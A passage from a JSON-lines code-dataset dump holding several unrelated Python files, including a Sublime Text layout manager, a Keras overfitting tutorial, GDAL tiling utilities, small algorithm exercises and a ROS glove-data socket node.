pane.bottom))\n\t\telse:\n\t\t\torig, pane.bottom = pane.bottom, pane.top + (pane.bottom - pane.top) / 2\n\t\t\tnew_pane = DisplayPane(self, (pane.left, pane.bottom, pane.right, orig))\n\n\t\t# always append to the end to avoid disrupting existing paneids\n\t\tself.cells.append(new_pane) \n\n\t\t# Just insert it to the current group if orientations match,\n\t\t# otherwise make a new split group.\n\t\tif group.orientation == orientation:\n\t\t\tnew_pane.parent = group\n\t\t\tgroup.panes[pane_idx+1:pane_idx+1] = [new_pane]\n\t\telse:\n\t\t\tsplit = DisplayGroup(self, [pane, new_pane])\n\t\t\tsplit.parent = group\n\t\t\tgroup.panes[pane_idx:pane_idx+1] = [split]\n\n\t\treturn len(self.cells)-1\n\n\tdef split_pane(self, number, orientation):\n\t\treturn self._split_pane_obj(self.cells[number], orientation)\n\n\tdef find_left(self, number, wrap=False):\n\t\tcell = self.cells[number]\n\t\t# Find a DisplayCell with its right edge set to this\n\t\t# cell's left edge and a vertical center between\n\t\t# this cell's top and bottom.\n\t\tbars = [cell.left]\n\t\tif wrap: bars.append(1.0)\n\n\t\tfor bar in bars:\n\t\t\tfor idx, other in enumerate(self.cells):\n\t\t\t\tmid = other.top + (other.bottom - other.top) / 2\n\t\t\t\tif other.right == bar and mid >= cell.top and mid <= cell.bottom:\n\t\t\t\t\treturn idx\n\n\tdef find_right(self, number, wrap=False):\n\t\tcell = self.cells[number]\n\t\t# Find a DisplayCell with its left edge set to this\n\t\t# cell's right edge and a vertical center between\n\t\t# this cell's top and bottom.\n\t\tbars = [cell.right]\n\t\tif wrap: bars.append(0.0)\n\n\t\tfor bar in bars:\n\t\t\tfor idx, other in enumerate(self.cells):\n\t\t\t\tmid = other.top + (other.bottom - other.top) / 2\n\t\t\t\tif other.left == bar and mid >= cell.top and mid <= cell.bottom:\n\t\t\t\t\treturn idx\n\n\tdef find_above(self, number, wrap=False):\n\t\tcell = self.cells[number]\n\t\t# Find a DisplayCell with its bottom edge set to this\n\t\t# cell's top edge and a horizontal center between\n\t\t# this cell's left and right.\n\t\tbars = [cell.top]\n\t\tif wrap: bars.append(1.0)\n\n\t\tfor bar in bars:\n\t\t\tfor idx, other in enumerate(self.cells):\n\t\t\t\tmid = other.left + (other.right - other.left) / 2\n\t\t\t\tif other.bottom == bar and mid >= cell.left and mid <= cell.right:\n\t\t\t\t\treturn idx\n\n\tdef find_below(self, number, wrap=False):\n\t\tcell = self.cells[number]\n\t\t# Find a DisplayCell with its bottom edge set to this\n\t\t# cell's top edge and a horizontal center between\n\t\t# this cell's left and right.\n\t\tbars = [cell.bottom]\n\t\tif wrap: bars.append(0.0)\n\n\t\tfor bar in bars:\n\t\t\tfor idx, other in enumerate(self.cells):\n\t\t\t\tmid = other.left + (other.right - other.left) / 2\n\t\t\t\tif other.top == bar and mid >= cell.left and mid <= cell.right:\n\t\t\t\t\treturn idx\n\n\tdef _move_horizontal_split(self, cell, by):\n\t\tif cell.parent and cell.parent.orientation == Horizontal:\n\t\t\t# since we're demanding a change to the size on\n\t\t\t# an edge perpendicular to this split, do it on the parent\n\t\t\t# instead.\n\t\t\treturn self._move_horizontal_split(cell.parent, by)\n\n\t\tprev, next = self._get_adjacent(cell)\n\t\tif not next:\n\t\t\t# move up to the cell before it so we actually\n\t\t\t# have a bar to move.\n\t\t\tcell = prev\n\t\t\tprev, next = self._get_adjacent(cell)\n\n\t\told_top = next.top\n\t\tnew_top = next.top + by\n\t\tif (new_top > (cell.top + abs(by)) and \n\t\t new_top < (next.bottom - abs(by))):\n\t\t\tfor sub in self._depth_walk(cell): \n\t\t\t\tif sub.bottom == old_top: sub.bottom = new_top\n\t\t\tfor sub in self._depth_walk(next):\n\t\t\t\tif sub.top == old_top: sub.top = new_top\n\n\tdef move_horizontal_split(self, number, by):\n\t\tcell = self.cells[number]\n\t\treturn self._move_horizontal_split(cell, by)\n\n\tdef _move_vertical_split(self, cell, by):\n\t\tif cell.parent and cell.parent.orientation == Vertical:\n\t\t\t# since we're demanding a change to the size on\n\t\t\t# an edge perpendicular to this split, do it on the parent\n\t\t\t# instead.\n\t\t\treturn self._move_vertical_split(cell.parent, by)\n\n\t\tprev, next = self._get_adjacent(cell)\n\t\tif not next:\n\t\t\t# move up to the cell before it so we actually\n\t\t\t# have a bar to move.\n\t\t\tcell = prev\n\t\t\tprev, next = self._get_adjacent(cell)\n\n\t\told_left = next.left\n\t\tnew_left = next.left + by\n\t\tif (new_left > (cell.left + abs(by)) and \n\t\t new_left < (next.right - abs(by))):\n\t\t\tfor sub in self._depth_walk(cell): \n\t\t\t\tif sub.right == old_left: sub.right = new_left\n\t\t\tfor sub in self._depth_walk(next):\n\t\t\t\tif sub.left == old_left: sub.left = new_left\n\n\tdef move_vertical_split(self, number, by):\n\t\tcell = self.cells[number]\n\t\treturn self._move_vertical_split(cell, by)\n\n\tdef make_sublime_layout(self):\n\t\tif len(self.cells) == 1:\n\t\t\treturn {'cells': [[0,0,1,1]], 'rows': [0.0,1.0], 'cols': [0.0,1.0]}\n\n\t\toutput_cells = []\n\t\toutput_rows = []\n\t\toutput_cols = []\n\n\t\t# Generate output_rows and output_cols first,\n\t\t# then sort them, then point the cells at them.\n\t\t# This is so the split bars come out in a sane\n\t\t# order that won't blow up sublime\n\n\t\t# We do a depth-first scan on the first pass because\n\t\t# we want panes to share edges with other\n\t\t# objects in their parent group(s).\n\t\t#import pdb; pdb.set_trace()\n\t\tfor cell in self._depth_walk(self.groups):\n\t\t\tself._make_splitid(cell, cell.left, output_cols)\n\t\t\tself._make_splitid(cell, cell.top, output_rows)\n\t\t\tself._make_splitid(cell, cell.right, output_cols)\n\t\t\tself._make_splitid(cell, cell.bottom, output_rows)\n\n\t\t# put them in order\n\t\toutput_cols[:] = sorted(output_cols, key=lambda split: split[1])\n\t\toutput_rows[:] = sorted(output_rows, key=lambda split: split[1])\n\n\t\t# now build the cells list in the original cell order, which\n\t\t# has to be maintained.\n\t\tfor cell in self.cells:\n\t\t\toutput_cells.append([\n\t\t\t\tself._make_splitid(cell, cell.left, output_cols),\n\t\t\t\tself._make_splitid(cell, cell.top, output_rows),\n\t\t\t\tself._make_splitid(cell, cell.right, output_cols),\n\t\t\t\tself._make_splitid(cell, cell.bottom, output_rows),\n\t\t\t])\n\n\t\treturn {\n\t\t\t'cells': output_cells,\n\t\t\t'rows': [row[1] for row in output_rows],\n\t\t\t'cols': [col[1] for col in output_cols],\n\t\t}\n\nif __name__ == '__main__':\n\t#layout = {'cells': [[3, 0, 5, 1], [3, 1, 4, 2], [4, 1, 5, 2], [3, 2, 5, 4], [0, 3, 2, 4], [1, 0, 3, 3]], 'cols': [0.0, 0.25, 0.37291831879460746, 0.5, 0.75, 1.0], 'rows': [0.0, 0.25, 0.5, 0.6875706214689266, 1.0]}\n\t#layout = {'cells': [[0, 0, 2, 1], [0, 1, 1, 2], [1, 1, 2, 2]], 'cols': [0.0, 0.5, 1.0], 'rows': [0.0, 0.5, 1.0]}\n\tlayout = {\n\t\t'cells': [\n\t\t\t[0, 0, 2, 1],\n\t\t\t[2, 0, 4, 2],\n\t\t\t[4, 0, 5, 2],\n\t\t\t[0, 1, 2, 2],\n\n\t\t\t[0, 2, 1, 3],\n\t\t\t[1, 2, 3, 3],\n\t\t\t[3, 2, 5, 3],\n\t\t],\n\t\t'cols': [0.0, 0.35, 0.5, 0.8, 0.8, 1.0],\n\t\t'rows': [0.0, 0.25, 0.5, 1.0],\n\t}\n\n\tlayout = Layout(layout)\n\tprint(layout)\n\tprint(layout.make_sublime_layout())\n\tprint()\n\n\tlayout.delete_pane(3)\n\tprint(layout)\n\tprint(layout.make_sublime_layout())\n\tprint()\n\n\tlayout.delete_pane(0)\n\tprint(layout)\n\tprint(layout.make_sublime_layout())\n\tprint()\n\tlayout2 = {'cells': [[0,0,1,1]], 'cols': [0.0,1.0], 'rows': [0.0,1.0]}\n\n\tlayout2 = Layout(layout2)\n\tprint(layout2)\n\tprint(layout2.make_sublime_layout())\n\tprint()\n\n\tlayout2.split_pane(0, Vertical)\n\tprint(layout2)\n\tprint(layout2.make_sublime_layout())\n\tprint()\n\n\tlayout2.split_pane(1, Vertical)\n\tprint(layout2)\n\tprint(layout2.make_sublime_layout())\n\tprint()\n\n\tlayout2.split_pane(0, Horizontal)\n\tprint(layout2)\n\tprint(layout2.make_sublime_layout())\n\tprint()\n","sub_path":"sublime_layout.py","file_name":"sublime_layout.py","file_ext":"py","file_size_in_byte":13864,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"290860058","text":"# -*- coding: utf-8 -*-\n\"\"\"\nText Classification TensorFlow (AI) : Movie reviews (Overfitting)\n\nDataset used : Internet Movie Database IMDB\n\nClassifies movie reviews as positive or negative (Binary classification with \nsupervised learning) using the text of the review.\nThis script shows the overfitting when training a model and to methods to\nprevent it :\n - Reduce the capacity of the network\n \n - Weight regularization = we add to the loss function of the network a cost \n associated with having large weights). We used here weight decay (L2 \n regularization) where the cost added is proportional to the square of the \n value of the weights coefficients.\n \n - Dropout = consists of randomly \"dropping out\" (i.e. set to zero) a number \n of output features of the layer during training. The \"dropout rate\" is the \n fraction of the features that are being zeroed-out; it is usually set \n between 0.2 and 0.5.At test time, no units are dropped out, and instead the \n layer's output values are scaled down by a factor equal to the dropout rate\n\n@author: Liam Bette\n\"\"\"\n\nfrom __future__ import absolute_import, division, print_function\n\nimport tensorflow as tf\nfrom tensorflow import keras\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nNUM_WORDS = 10000\n\n\ndef multi_hot_data(data, dimension):\n \"\"\"\n Multi-hot-encoding the data (list of integers) means turning them into \n vectors of 0s and 1s. \n Example :\n The sequence [3, 5] would be converted into a 10,000-dimensional vector \n that would be all-zeros except for indices 3 and 5, which would be ones.\n \"\"\"\n # Create an all-zero matrix of shape (len(sequences), dimension)\n results = np.zeros((len(data), dimension))\n \n for i, word_indices in enumerate(data): \n results[i, word_indices] = 1.0 # set specific indices of results[i] to 1s\n return results\n\ndef build_model(layer_size, train_data, train_labels, test_data, test_labels):\n \"\"\"\n Build and trains the model setting 2 Dense layers with a size defined by \n the parameter layer_size.\n Returns the trained model and the history of the training\n \"\"\"\n \n # Build the model\n model = keras.Sequential([ \n keras.layers.Dense(layer_size, activation=tf.nn.relu, input_shape=(NUM_WORDS,)),\n keras.layers.Dense(layer_size, activation=tf.nn.relu),\n keras.layers.Dense(1, activation=tf.nn.sigmoid)\n ])\n \n # Compile the model\n model.compile(optimizer='adam',\n loss='binary_crossentropy',\n metrics=['accuracy', 'binary_crossentropy'])\n \n # Train the model\n history = model.fit(train_data,\n train_labels,\n epochs=20,\n batch_size=512,\n validation_data=(test_data, test_labels),\n verbose=2)\n \n # Display the summary of the layers composing the model\n model.summary()\n \n return model, history\n\n\ndef build_model_L2(layer_size, train_data, train_labels, test_data, test_labels):\n \"\"\"\n Build and trains the model setting 2 Dense layers with a size defined by \n the parameter layer_size.\n We use a regularizer for the weight regularization.\n Returns the trained model and the history of the training\n \"\"\"\n # Build the L2 regularized model\n model = keras.models.Sequential([\n keras.layers.Dense(layer_size, \n kernel_regularizer=keras.regularizers.l2(0.001),\n activation=tf.nn.relu, \n input_shape=(NUM_WORDS,)),\n keras.layers.Dense(layer_size, \n kernel_regularizer=keras.regularizers.l2(0.001),\n activation=tf.nn.relu),\n keras.layers.Dense(1, activation=tf.nn.sigmoid)\n ])\n\n # Compile the model\n model.compile(optimizer='adam',\n loss='binary_crossentropy',\n metrics=['accuracy', 'binary_crossentropy'])\n\n # Train the model\n history = model.fit(train_data, train_labels,\n epochs=20,\n batch_size=512,\n validation_data=(test_data, test_labels),\n verbose=2)\n return model, history\n\ndef build_model_dropout(layer_size, train_data, train_labels, test_data, test_labels):\n \"\"\"\n Build and trains the model setting 2 Dense layers with a size defined by \n the parameter layer_size.\n Use the dropout regularization technique.\n Returns the trained model and the history of the training\n \"\"\"\n # Build the model with dropouts\n model = keras.models.Sequential([\n keras.layers.Dense(layer_size, activation=tf.nn.relu, input_shape=(NUM_WORDS,)),\n keras.layers.Dropout(0.5), # Add a dropout on the first layer\n keras.layers.Dense(layer_size, activation=tf.nn.relu),\n keras.layers.Dropout(0.5), # Add a dropout on the second layer\n keras.layers.Dense(1, activation=tf.nn.sigmoid)\n ])\n\n # Compile the model\n model.compile(optimizer='adam',\n loss='binary_crossentropy',\n metrics=['accuracy','binary_crossentropy'])\n\n # Train the model\n history = model.fit(train_data, train_labels,\n epochs=20,\n batch_size=512,\n validation_data=(test_data, test_labels),\n verbose=2)\n \n return model, history\n \n\ndef plot_history(histories, key='binary_crossentropy'):\n \"\"\"\n Plot the loss of the different models (training and validation)\n NB : a lower validation loss indicates a better model\n \"\"\"\n plt.figure(figsize=(16,10))\n \n for name, history in histories:\n val = plt.plot(history.epoch, history.history['val_'+key],\n '--', label=name.title()+' Val')\n plt.plot(history.epoch, history.history[key], color=val[0].get_color(),\n label=name.title()+' Train')\n\n plt.xlabel('Epochs')\n plt.ylabel(key.replace('_',' ').title())\n plt.legend()\n\n plt.xlim([0,max(history.epoch)])\n\n\ndef main():\n \"\"\"\n The main function called by the entry point:\n - Loads the data\n - Multi-hot encode the data\n - Plot the data to understand the encoding\n - Build different models :\n - A baseline model as reference\n - A smaller model\n - A bigger model\n - An L2 regularized model\n - A model with dropouts\n - Plot histograms of the training of the different models to compare them\n \"\"\"\n \n # LOAD THE DATA\n (train_data, train_labels), (test_data, test_labels) = keras.datasets.imdb.load_data(num_words=NUM_WORDS)\n \n # MULTI HOT ENCODING THE DATA (0s and 1s)\n train_data = multi_hot_data(train_data, dimension=NUM_WORDS)\n test_data = multi_hot_data(test_data, dimension=NUM_WORDS)\n \n # Plot the data to understand the transformation\n # NB : wordindexes are sorted by frequency so it is normal that we have more\n # 1s near the index 0\n plt.plot(train_data[0])\n \n # BUILD MODELS (baseline, smaller, bigger, l2)\n baseline_model, baseline_history = build_model(16, \n train_data, train_labels, \n test_data, test_labels)\n smaller_model, smaller_history = build_model(4, \n train_data, train_labels, \n test_data, test_labels)\n \n bigger_model, bigger_history = build_model(512, \n train_data, train_labels, \n test_data, test_labels)\n \n # This model uses weight regularization to reduce overfitting\n l2_model, l2_history = build_model_L2(16, \n train_data, train_labels, \n test_data, test_labels)\n \n # This model uses dropout regularization technique to reduce overfitting\n dpt_model, dpt_history = build_model_dropout(16, \n train_data, train_labels, \n test_data, test_labels)\n \n \n # PLOT THE HISTORIES OF THE MODEL\n \n # As we can see, larger network begins overfitting almost right away, after \n # just one epoch, and overfits much more severely. The more capacity the \n # network has, the quicker it will be able to model the training data \n # (resulting in a low training loss), but the more susceptible it is to \n # overfitting (resulting in a large difference between the training and \n # validation loss).\n plot_history([('baseline', baseline_history),\n ('smaller', smaller_history),\n ('bigger', bigger_history)])\n \n # We can see that L2 regularized model has become much more resistant to \n # overfitting than the baseline model, even though both models have the same \n # number of parameters.\n plot_history([('baseline', baseline_history),\n ('l2', l2_history),])\n \n # We can see that model regularized with dropouts has also become much more \n # resistant to overfitting than the baseline model\n plot_history([('baseline', baseline_history),\n ('dropout', dpt_history)])\n \n \nif __name__== \"__main__\":\n \"\"\"\n Entry point of the script.\n \"\"\"\n main()\n","sub_path":"movies_reviews_classification_overfitting.py","file_name":"movies_reviews_classification_overfitting.py","file_ext":"py","file_size_in_byte":9719,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"480185086","text":"from opengever.base.model import create_session\nfrom opengever.base.response import COMMENT_RESPONSE_TYPE\nfrom opengever.base.response import IResponseContainer\nfrom opengever.base.response import MOVE_RESPONSE_TYPE\nfrom opengever.base.response import Response\nfrom opengever.base.response import SCHEMA_FIELD_CHANGE_RESPONSE_TYPE\nfrom opengever.setup import DEVELOPMENT_USERS_GROUP\n\n\nclass WorkspaceResponseExampleContentCreator(object):\n \"\"\"Create Teams for example content.\n\n Creates one team per group.\n\n Predictably cycles through the existing org units.\n \"\"\"\n\n def __init__(self, site):\n self.db_session = create_session()\n self.site = site\n\n def __call__(self):\n self.create_responses()\n self.grant_roles()\n\n def grant_roles(self):\n self.site.acl_users.portal_role_manager.assignRoleToPrincipal(\n 'WorkspacesCreator', DEVELOPMENT_USERS_GROUP)\n self.site.acl_users.portal_role_manager.assignRoleToPrincipal(\n 'WorkspacesUser', DEVELOPMENT_USERS_GROUP)\n\n def create_responses(self):\n todo = self.site.unrestrictedTraverse('workspaces/workspace-1/todo-1')\n responses = IResponseContainer(todo)\n\n response = Response(COMMENT_RESPONSE_TYPE)\n response.text = u\"Wir m\\xfcssen das Problem genauer analysieren\\n\\n\" \\\n u\"Jeder einzelne Punkt ist sehr wichtig und muss genaustens angeschaut werden. \" \\\n u\"Das Anw\\xe4hlen muss \\xfcber den Mauszeiger geschehen und darf nicht umgangen werden.\\n\\n\" \\\n u\"Ich freue mich!\"\n response.creator = u'david.erni'\n responses.add(response)\n\n response = Response(COMMENT_RESPONSE_TYPE)\n response.text = u\"Danke f\\xfcr deine schnelle Antwort.\"\n response.creator = u'philippe.gross'\n responses.add(response)\n\n response = Response(MOVE_RESPONSE_TYPE)\n response.creator = u'philippe.gross'\n response.add_change(u'', u'', u'Wichtig')\n responses.add(response)\n\n new_title = u'Wichtig!: {}'.format(todo.title)\n response = Response(SCHEMA_FIELD_CHANGE_RESPONSE_TYPE)\n response.creator = u'philippe.gross'\n response.add_change(u'title', todo.title, new_title)\n responses.add(response)\n todo.title = new_title\n\n response = Response(MOVE_RESPONSE_TYPE)\n response.creator = u'lukas.graf'\n response.add_change(u'', u'Wichtig', u'Projektleitung')\n responses.add(response)\n\n response = Response(MOVE_RESPONSE_TYPE)\n response.creator = u'lukas.graf'\n response.add_change(u'', u'Projektleitung', u'')\n responses.add(response)\n","sub_path":"opengever/examplecontent/workspaces.py","file_name":"workspaces.py","file_ext":"py","file_size_in_byte":2659,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"294349451","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# 2011-06-28 12:53:09 \n\n###############################################################################\n# Copyright (c) 2011, Vadim Shlyakhov\n#\n# Permission is hereby granted, free of charge, to any person obtaining a\n# copy of this software and associated documentation files (the \"Software\"),\n# to deal in the Software without restriction, including without limitation\n# the rights to use, copy, modify, merge, publish, distribute, sublicense,\n# and/or sell copies of the Software, and to permit persons to whom the\n# Software is furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included\n# in all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n# OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n# THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n# DEALINGS IN THE SOFTWARE.\n###############################################################################\n\nfrom __future__ import with_statement\nfrom __future__ import print_function\n\nversion='%prog version 2.2'\n\nimport sys\nimport os\nimport os.path\nimport logging\nfrom subprocess import *\nimport itertools\nimport re\nimport shutil\n#from optparse import OptionParser\n\ntry:\n from osgeo import gdal\n from osgeo import osr\n from osgeo import ogr\n from osgeo.gdalconst import *\n# gdal.TermProgress = gdal.TermProgress_nocb\nexcept ImportError:\n import gdal\n import osr\n import ogr\n from gdalconst import *\n\ntry:\n import multiprocessing # available in python 2.6 and above\n\n class KeyboardInterruptError(Exception): \n pass\nexcept:\n multiprocessing=None\n \ndef set_nothreads():\n global multiprocessing\n multiprocessing=None\n\ndef parallel_map(func,iterable):\n if multiprocessing is None or len(iterable) < 2:\n return map(func,iterable)\n else:\n # map in parallel\n mp_pool = multiprocessing.Pool() # multiprocessing pool\n res=mp_pool.map(func,iterable)\n # wait for threads to finish\n mp_pool.close()\n mp_pool.join()\n return res\n\ndef ld(*parms):\n logging.debug(' '.join(itertools.imap(repr,parms)))\n\ndef ld_nothing(*parms):\n return\n\ndef pf(*parms,**kparms):\n end=kparms['end'] if 'end' in kparms else '\\n'\n sys.stdout.write(' '.join(itertools.imap(str,parms))+end)\n sys.stdout.flush()\n\ndef pf_nothing(*parms,**kparms):\n return\n\ndef flatten(two_level_list): \n return list(itertools.chain(*two_level_list))\n\ntry:\n import win32pipe \nexcept:\n win32pipe=None\n\ndef if_set(x,default=None):\n return x if x is not None else default\n\ndef path2list(path):\n head,ext=os.path.splitext(path)\n split=[ext]\n while head:\n head,p=os.path.split(head)\n split.append(p)\n split.reverse()\n return split\n\ndef command(params,child_in=None):\n cmd_str=' '.join(('\"%s\"' % i if ' ' in i else i for i in params))\n ld('>',cmd_str,child_in)\n if win32pipe:\n (stdin,stdout,stderr)=win32pipe.popen3(cmd_str,'t')\n if child_in:\n stdin.write(child_in)\n stdin.close()\n child_out=stdout.read()\n child_err=stderr.read()\n if child_err:\n logging.warning(child_err)\n else:\n process=Popen(params,stdin=PIPE, stdout=PIPE, stderr=PIPE, universal_newlines=True)\n (child_out,child_err)=process.communicate(child_in)\n if process.returncode != 0: \n raise Exception(\"*** External program failed: %s\\n%s\" % (cmd_str,child_err))\n ld('<',child_out,child_err)\n return child_out\n\ndef dest_path(src,dest_dir,ext='',template='%s'):\n src_dir,src_file=os.path.split(src)\n base,sext=os.path.splitext(src_file)\n dest=(template % base)+ext\n if not dest_dir:\n dest_dir=src_dir\n if dest_dir:\n dest='%s/%s' % (dest_dir,dest)\n ld(base,dest)\n return dest\n \ndef re_sub_file(fname, subs_list):\n 'stream edit file using reg exp substitution list'\n new=fname+'.new'\n with open(new, 'w') as out:\n for l in open(fname, 'rU'):\n for (pattern,repl) in subs_list:\n l=re.sub(pattern,repl,string=l)\n out.write(l)\n shutil.move(new,fname)\n\n#############################\n#\n# GDAL utility functions\n#\n#############################\n\ndef wkt2proj4(wkt):\n srs = osr.SpatialReference()\n srs.ImportFromWkt(wkt)\n return srs.ExportToProj4()\n\ndef proj4wkt(proj4):\n srs = osr.SpatialReference()\n srs.ImportFromProj4(proj4)\n return srs.ExportToWkt()\n\ndef proj_cs2geog_cs(proj4):\n srs_proj = osr.SpatialReference()\n srs_proj.ImportFromProj4(proj4)\n srs_geo = osr.SpatialReference()\n srs_geo.CopyGeogCSFrom(srs_proj)\n return srs_geo.ExportToProj4()\n\nclass MyTransformer(gdal.Transformer):\n def __init__(self,src_ds=None,dst_ds=None,**options):\n for key in ('SRC_SRS','DST_SRS'):\n try:\n srs=options[key]\n if srs.startswith('+'):\n options[key]=proj4wkt(srs)\n except: pass\n opt_lst=['%s=%s' % (key,options[key]) for key in options]\n super(MyTransformer, self).__init__(src_ds,dst_ds,opt_lst)\n\n def transform(self,points,inv=False):\n if not points:\n return []\n transformed,ok=self.TransformPoints(inv,points)\n assert ok\n return [i[:2] for i in transformed]\n\n def transform_point(self,point,inv=False):\n return self.transform([point],inv=inv)[0]\n\n","sub_path":"tilers_tools/tiler_functions.py","file_name":"tiler_functions.py","file_ext":"py","file_size_in_byte":5823,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"331456172","text":"class Solution:\r\n # @param A, a list of integers\r\n # @param target, an integer to be searched\r\n # @return a list of length 2, [index1, index2]\r\n def searchRange(self, A, target):\r\n \"\"\"\r\n Third iteration\r\n \"\"\"\r\n n = len(A)\r\n l, r = 0, n - 1\r\n while l < r:\r\n m = (l + r) / 2\r\n if A[m] >= target:\r\n r = m\r\n else:\r\n l = m + 1\r\n if A[l] != target: return [-1, -1]\r\n res = l\r\n l, r = l, n\r\n while l < r:\r\n m = (l + r) / 2\r\n if A[m] <= target:\r\n l = m + 1\r\n else:\r\n r = m\r\n return [res, r - 1]\r\n\r\n\r\nA = [5, 7, 7, 8, 8, 10]\r\nB = [2, 2]\r\n\r\ndef run():\r\n sol = Solution()\r\n res = sol.searchRange([1,3], 1)\r\n assert res == [0, 0]\r\n\r\n res = sol.searchRange(A, 8)\r\n assert res == [3, 4]\r\n\r\n res = sol.searchRange(A, 7)\r\n assert res == [1,2]\r\n\r\n res = sol.searchRange([2,2], 2)\r\n assert res == [0,1]\r\n","sub_path":"034-search-for-a-range.py","file_name":"034-search-for-a-range.py","file_ext":"py","file_size_in_byte":940,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"101758630","text":"string_1 = input(\"Enter first phrase: \") #Taking two phrases from the user\r\nstring_2 = input(\"Enter second phrase: \")\r\n\r\ndef anogram_check(string_1,string_2):\r\n no_punc_str1 = string_1.lower() #creating variables with lower cased phrase inside\r\n no_punc_str2 = string_2.lower()\r\n for i in (\"\"\".,?!'\":;-–—(){}[] \"\"\"): #removing punctutation from new variables\r\n no_punc_str1 = no_punc_str1.replace(i, \"\")\r\n no_punc_str2 = no_punc_str2.replace(i,\"\")\r\n for i in no_punc_str1: #for statements goes through each letter in first phrase\r\n if i in no_punc_str2: #if letter is in first phrase and second phrase\r\n no_punc_str2 = no_punc_str2.replace(i,\"\",1)#delete first instance of letter in both phrases\r\n no_punc_str1 = no_punc_str1.replace(i,\"\",1)\r\n #print(no_punc_str1, end = \" \") checking everything is working\r\n #print(no_punc_str2)\r\n if no_punc_str1 == no_punc_str2: #if both phrase are equal to each other(they are also equal to nothing)\r\n print(string_1, 'and', string_2, 'are anograms') #tell user phrases are anograms\r\n else:\r\n print(string_1, 'and', string_2, 'are not anograms') #otherwise tell user they are not\r\n\r\nanogram_check(string_1,string_2) #run function\r\n \r\n\r\n \r\n","sub_path":"challenge-3-anagram-detector-BenWheat/anogram.py","file_name":"anogram.py","file_ext":"py","file_size_in_byte":1279,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"546763291","text":"# permute.py\n# pg. 612\n\ndef permute1(seq):\n\tif not seq:\t\t\t\t\t\t\t\t\t# base case - seq is empty\n\t\treturn [seq]\t\t\t\t\t\t\t# return list containing the empty iterable\n\telse:\t\t\t\t\t\t\t\t\t\t# recursive case - seq is not empty\n\t\tres = []\t\t\t\t\t\t\t\t# results accumulator\n\t\tfor i in range(len(seq)):\t\t\t\t# for each index in seq\n\t\t\trest = seq[:i] + seq[i+1:]\t\t\t# rest = [0, 1, 2, ..., i-1] + [i+1, i+2, ..., n]\n\t\t\tfor x in permute1(rest):\t\t\t# for each element x in the permutations of rest:\n\t\t\t\tres.append(seq[i:i+1] + x)\t\t# results.append([seq[i]] + x)\n\t\treturn res \t\t\t\t\t\t\t\t# return results\n\ndef permute2(seq):\n\tif not seq:\t\t\t\t\t\t\t\t\t# base case - seq is empty\n\t\tyield seq\t\t\t\t\t\t\t\t# yield the empty iterable\n\telse:\t\t\t\t\t\t\t\t\t\t# recursive case - seq is not empty\n\t\tfor i in range(len(seq)):\t\t\t\t# for each index in seq\n\t\t\trest = seq[:i] + seq[i+1:]\t\t\t# rest = [0, 1, 2, ..., i-1] + [i+1, i+2, ..., n]\n\t\t\tfor x in permute2(rest):\t\t\t# for x in permute2(rest):\n\t\t\t\tyield seq[i:i+1] + x\t\t\t# yield [seq[i]] + x","sub_path":"permute.py","file_name":"permute.py","file_ext":"py","file_size_in_byte":997,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"232279154","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport sys\nimport time\nimport json\nimport socket \nimport threading\n\nimport rospy \nfrom primeii_ros_msgs.msg import FingerFlex, GloveData, GlovesData, GloveHaptic\n\nsub = None\npub = None\nclient = None\n\nfingerNames = [ \"thumb\", \"index\", \"middle\", \"ring\", \"pinky\" ]\n\ndef callBack(msg):\n for i in range(len(msg.hapticPower)):\n if msg.hapticPower[i] > 1.0:\n rospy.logwarn(\"GloveHaptic message hapticPower data error!!!\")\n return\n\n jj = {'dongleid':msg.dongleid, 'handtype':msg.handtype, 'power':msg.hapticPower}\n ss = json.dumps(jj)\n try:\n client.send(ss)\n except:\n rospy.logwarn(\"send message faild!!!\")\n\ndef str2RosMsg(string):\n try:\n jj = json.loads(string)\n except ValueError as ee:\n #rospy.logerr()\n return None\n msg = GlovesData()\n msg.header.stamp = rospy.Time.now()\n msg.header.frame_id = '' \n for i in range(len(jj)):\n glove = GloveData()\n gloveNum = 'glove' + str(i+1)\n glove.deviceid = jj[gloveNum]['deviceid']\n glove.dongleid = jj[gloveNum]['dongleid']\n glove.handtype = jj[gloveNum]['handtype']\n glove.wristIMU.x = jj[gloveNum]['wristIMU']['x']\n glove.wristIMU.y = jj[gloveNum]['wristIMU']['y']\n glove.wristIMU.z = jj[gloveNum]['wristIMU']['z']\n glove.wristIMU.w = jj[gloveNum]['wristIMU']['w']\n fingersFlex = jj[gloveNum]['fingers']['fingersFlex']\n for j in range(len(fingersFlex)):\n glove.fingersFlex[j].Joint1Spread = fingersFlex[fingerNames[j]]['Joint1Spread']\n glove.fingersFlex[j].Joint1Stretch = fingersFlex[fingerNames[j]]['Joint1Stretch']\n glove.fingersFlex[j].Joint2Stretch = fingersFlex[fingerNames[j]]['Joint2Stretch']\n glove.fingersFlex[j].Joint3Stretch = fingersFlex[fingerNames[j]]['Joint3Stretch']\n fingersIMU = jj[gloveNum]['fingers']['fingersIMU']\n for j in range(len(fingersIMU)):\n glove.fingersIMU[j].x = fingersIMU[fingerNames[j]]['x']\n 